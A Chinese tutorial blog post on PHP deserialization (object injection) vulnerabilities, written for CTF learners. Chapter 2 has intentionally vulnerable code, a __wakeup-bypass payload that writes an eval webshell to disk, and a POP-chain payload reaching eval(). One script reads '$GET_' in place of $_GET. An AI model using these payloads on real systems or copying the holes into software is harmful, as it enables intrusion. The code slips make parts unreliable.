PHP反序列化漏洞-从入门到提升

发布于:2022-11-09 ⋅ 阅读:(898) ⋅ 点赞:(0)

目录

第一章 PHP序列化基础

1.1 PHP序列化

1.1.1 PHP序列化概述

1.1.2 标准序列化

1.1.3 自定义序列化

1.1.4 序列化存储和转发

1.2 PHP反序列化

1.2.1 标准反序列化

1.2.2 未定义类的反序列化

1.2.3 Protected、Private属性反序列化

1.3 PHP序列化相关magic函数

1.3.1 __construct()和__destruct()

1.3.2 __sleep()和__wakeup()

1.3.3 __toString()

第二章 PHP反序列化漏洞

2.1 PHP反序列化漏洞简介

2.2 PHP反序列化漏洞利用

2.2.1 __wakeup()绕过

2.2.2 结合PHP代码审计,寻找漏洞

 2.3 PHP反序列化漏洞总结


申明:本文适合PHP反序列化漏洞初学者,从PHP序列化原理讲起,逐渐深入到反序列化及其漏洞,几乎每个知识点都配有代码演示,十分方便理解,希望对你们有所帮助!另外,本文只作为博主学习路上的记录罢了,起到督促作用,文内引用网上一些前辈的观点,如有雷同实属借鉴,嘻嘻


第一章 PHP序列化基础

1.1 PHP序列化

1.1.1 PHP序列化概述

在学习序列化之前,我们有必要了解其产生背景,PHP文件在执行结束后,相关的对象就会被销毁,此时如果另有其他页面需要调用这些对象是无法实现的,因为我们不可能让PHP文件一直无休止的去执行以保证对象不被销毁,于是在这样的需求推动下,序列化技术就产生了,所以,所谓的序列化实际上是为了方便数据的存储和转发。在PHP中序列化和反序列化一般用作缓存,比如session缓存、cookie缓存等,但是需要注意,PHP对Session的处理有三种引擎:

1、php_serialize             ///序列化字符串形式与serialize()函数处理结果一致

2、php                            ///序列化字符串为"key|value"的形式

3、php_binary

每一种处理引擎得到的序列化字符串格式不一样,默认为php,可通过ini_set('session.serialize_handler','php_serialize')来指定引擎。

1.1.2 标准序列化

PHP序列化是PHP程序设计中的一种格式化数据的方法,通过序列化可以将对象(class)、数组(array)等进行序列化转换为特定格式的字符串,同时不丢失其类型和结构,以便于存储和传递,PHP实现序列化的函数是serialize(),来看个例子:

由上面的例子可见,序列化对不同类型的数据序列化后标识符是不同的,通过序列化字符串的首位进行标识,具体如下:

类型 标识
字符串 s:size:value
整型 i:value
布尔 b:value
NULL N
数组 a:size:{key;value}
对象

O:Obj_name_len:Obj_name:var_num:{var_name_type:var_name_len:var_name;var_value_type:var_value_len:var_value}

/// 注释:Obj-Object对象;var-varible变量

补充说明:

  1. 在序列化对象时,只会保留父类中的变量和自己申明的变量,而不会保留常量和方法(function)
  2. PHP通过关键字class来申明一个对象/类,在对象/类中使用$符申明变量/属性。

1.1.3 自定义序列化

在序列化对象的时候,对于一些敏感的属性并不需要保存,比如密码,此时可自定义序列化。在调用serialize()函数进行序列化对象时,该函数首先会检查对象中是否存在一个magic函数__sleep(),如果存在则先调用__sleep(),然后才执行序列化操作,因此可以通过重载__sleep()函数来实现自定义序列化行为。

  • __sleep()函数返回一个包含对象中所有应该被序列化的变量名称的数组;
  • 所谓重载__sleep(),就是改变其返回数组的内容
  • 如下例子中默认__sleep()返回的数组为['name','age','password'],重载后返回的数组为['name','age']过滤掉了敏感变量password

1.1.4 序列化存储和转发

一般而言可使用函数file_put_contents()来实现序列化字符串的存储,序列化的转发可通过转发存储在本地的文件来实现,如下面例子所示:

1.2 PHP反序列化

1.2.1 标准反序列化

通过上一节的讲解,我们知道数组、对象可以通过序列化为字符串进行存储,那么如何将序列化字符串还原为数组、对象呢?PHP提供了unserialize()反序列化函数来实现这一功能,如果反序列化的是对象,则在成功重构对象后,PHP会自动试图去调用magic函数__wakeup()。反序列化时,会尽量匹配预定义对象的变量名并赋值。

1.2.2 未定义类的反序列化

在上面的例子中,我们在调用反序列化函数之前,预先定义了person类,因此在执行反序列化之后,PHP会尽可能匹配反序列化后的变量名和预定义类person中的变量名,并进行赋值。如果我们在执行反序列化时,没有预先定义对象会发生什么呢?来看个例子:

比起之前预定义person类的结果,此处反序列化后构建的对象是__PHP_Incomplete_Class,并指明了未定义类的类名,此时我们尝试调用该对象看看会发生什么,如下所示:

显然此时报错了,提示incomplete object(不完整对象),并且从报错信息中可以看到规避方法:

1、在使用unserialize()之前定义对象;

2、使用__autoload()函数,指定加载对象的定义文件,如下图所示:

__autoload()接收的参数就是欲加载的类的名称,new person()时,由于不存在person对象,因此该对象名person会作为参数传递给__autoload(),在__autoload()中通过require_once方法来加载person.php文件,而正是person.php中定义了person对象,person.php文件内容如下:

1.2.3 Protected、Private属性反序列化

1、protectedprivate类型属性序列化

2、protectedprivate类型属性反序列化

首先,看看序列化字符串不经过任何修改而反序列化会发生什么?

此时,很明显报错了,这是因为protected、private类型属性的序列化字符串中存在不可见字符%00(%00实际代表空字符,会被浏览器渲染时过滤掉,因此上面例子中并未显现出来),因此,我们在进行反序列化时需要手动将%00添加进去,如下所示:

1.3 PHP序列化相关magic函数

PHP将所有__(两个下划线)开头的方法保留为magic函数,在PHP序列化操作中,有一些预定义的magic函数会被调用,比如__construct()、__destruct()、__toString()、__wakeup()、__sleep()等

1.3.1 __construct()__destruct()

在上面的例子中,似乎我们在new一个对象后,便可直接引用变量,实际上发生了一些我们看不到的事情,看看下面的例子,通过这个例子我们便能比较直观的理解magic函数__construct()和__destruct()的效果了

1.3.2 __sleep()和__wakeup()

接下来我们理解一下__wakeup()和__sleep()函数,其中__sleep()在一个对象被序列化的时候调用,而__wakeup()在一个对象被反序列化的时候被调用,来看看下面的例子,帮助我们理解这两个函数:

1.3.3 __toString()

最后,我们通过下面这个例子来理解__toString(),当对象被当作字符串的时候会自动调用__toString(),如下:

这里特别说一下__toString()魔术函数,触发它被调用的条件是比较多的,常见的触发条件有:

  1. echo/print $obj
  2. 反序列化对象与字符串连接时
  3. 反序列化对象参与格式化字符串时
  4. 反序列化对象与字符串进行==比较时
  5. 反序列化对象参与格式化SQL语句并绑定参数时
  6. 反序列化对象作为PHP字符串函数的参数时,比如strlen()、addslashes()等
  7. 反序列化对象作为class_exists()的参数时

第二章 PHP反序列化漏洞

2.1 PHP反序列化漏洞简介

  • PHP序列化漏洞也叫PHP对象注入,是一种非常多见的漏洞,漏洞的产生往往是由于程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程被黑客恶意控制,进而造成代码执行、getshell等严重的后果,除了在PHP之中存在,反序列化漏洞在Java、Python中也普遍存在,原理基本上是一致的。
  • PHP反序列化漏洞的产生原因在于代码中unserialize($string)接收的参数可控,言外之意,想要利用反序列化漏洞,那么PHP程序代码中必须要存在unserialize()函数,并且该函数的参数可被操控。在前面的学习中,我们知道序列化只针对对象的属性(变量),对象里面定义的方法(function)是无法序列化的,因此作为hacker在反序列化过程中唯一的突破点便是对象的属性,因此,我们要想方设法篡改序列化字符串中的属性值来达到攻击的目的。

2.2 PHP反序列化漏洞利用

根据前面的分析,利用PHP反序列化漏洞的突破口在unserialize(),只要我们能够控制unserialize()的参数,那我们便能传入任何序列化字符串。但是,反序列化字符串中只有对象的属性,而无方法,因此我们没法直接控制代码的执行,那该怎么办呢?通过magic函数来操控反序列化过程,下面我们通过例子来帮助理解

2.2.1 __wakeup()绕过

1、构造漏洞代码

<?php
	highlight_file(__FILE__);
	error_reporting(E_ALL & ~E_NOTICE);
	class class_001{
		var $target;
		function __wakeup(){
			$this->target = "it is __wakeup()!";
		}
		function __destruct(){
			$fp = fopen("F:/00 ProgramFiles/PhpStudy2018/PHPTutorial/WWW/wakeup.php","w");
			fputs($fp,$this->target);
			fclose($fp);
		}
	}
	​$cmd = $_GET['cmd'];
	$cmd_unserialize = unserialize($cmd);
	​include("wakeup.php");
?>

 2、漏洞代码分析

在执行unserialize()函数前会先检查是否存在__wakeup(),因此首先执行__wakeup(),为变量$target赋值"it is __wakeup()!",最后程序执行结束,对象被销毁,__destruct()被调用,将$target的值写入wakeup.php。因此,该代码正常情况下,无论GET传递什么参数,wakeup.php之中始终写入的都是"it is __wakeup()!" 

3、漏洞代码利用

构造恶意反序列化字符串,使得表示对象属性个数的值大于实际属性的个数,绕过__wakeup(),此时,GET传递的参数首先赋值给$target,然后随$target被写入wakeup.php,从而实现恶意代码执行

第一步:构造恶意序列化字符串:可先使用serialize()产生正常序列化字符串,再将其修改为恶意序列化字符串,注意由于此处$target变量未赋值,因此在序列化后,对应的属性值为N,需将N修改为"类型:长度:值"的形式,如下所示:

构造恶意序列化字符串为:O:9:"class_001":2:{s:6:"target";s:27:"<?php @eval($_POST[666]);?>";}

第二步:通过GET方法提交恶意序列化字符串

说明,由于恶意序列化字符串本身不符合语法规则,因此PHP在解析时会抛出Notice告警,但并不影响漏洞代码执行,可借助error_reporting()避免显示Notice告警,如下:

第三步:使用恶意上传的脚本wakeup.phpgetshell(蚁剑、中国菜刀等)

2.2.2 结合PHP代码审计,寻找漏洞

1、构造漏洞代码

<?php
	highlight_file(__FILE__);
	error_reporting(E_ALL & ~E_NOTICE);
	class A{
		public $a;
		public function __destruct()
		{
			$this->function_a();
		}
		public function function_a(){
			$this->a->close();
		}
	}		
	class B{
		public $exp;
		function close()
		{
			eval($this->exp);
		}
	}
	$cmd = $GET_[666];
	$cmd_unserialize = unserialize($cmd);
?>

 2、漏洞代码分析

1、首先,粗略看一眼代码,发现class B中有eval()函数,eval()往往容易造成PHP远程代码执行,但是,漏洞代码中eval()的参数$exp并不可控,因此无法直接利用eval()执行远程代码。

2、接下来,我们的思路便是:如何让eval()的参数$exp变得可控,从而传入恶意代码

3、分析发现,class A里面的function_a()方法调用了一个未知的close()函数,那是否有办法让它去调用B里面的close()呢?

4、答案是肯定的,只需要满足下面两个条件:

      1)  A的属性$a是B的对象实例:$a = new B()
      2)  B的属性$exp可操控

5、最后,让d)中的两个条件成为现实,PHP序列化代码如下图,O:1:"A":1:{s:1:"a";O:1:"B":1:{s:3:"exp";s:10:"phpinfo();";};}

 3、GET提交恶意序列化字符串,实现代码注入

 利用GET方法提交构造的恶意序列化脚本,如下所示,可以发现我们构造的恶意代码(phpinfo())被执行了

我们来分析一下反序列化执行的过程:

1、GET提交恶意序列化字符串后,首先会构建一个对象A的实例(即new A()),脚本执行结束后,A会依次调用__destruct()和function_a()

2、由于恶意序列化字符串中,A的属性$a值为对象B的实例、其属性$exp的值为"phpinfo();",因此在function_a()中调用close()方法时会将"phoinfo();"作为参数传递给eval()

3、此时"phoinfo();"会被直接作为PHP代码解析

 2.3 PHP反序列化漏洞总结

经过前面的学习,想必对PHP反序列化漏洞已经有了初步的理解,反序列化漏洞危险而普遍,在CTF中往往会和PHP代码审计结合命题,即根据已知的PHP代码片段,分析存在的PHP序列化漏洞,然后构造恶意序列化字符串,最终实现攻击目的。此外,更为重要的是想要利用PHP反序列化漏洞,一定要对__construct()、__destruct()、__wakeup()、__sleep()、__toString()这些magic函数有足够的认识,这样才能更具它们的特性来构造恶意序列化字符串。

祝愿小伙伴们在成长的路上乘风直上!!!

本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到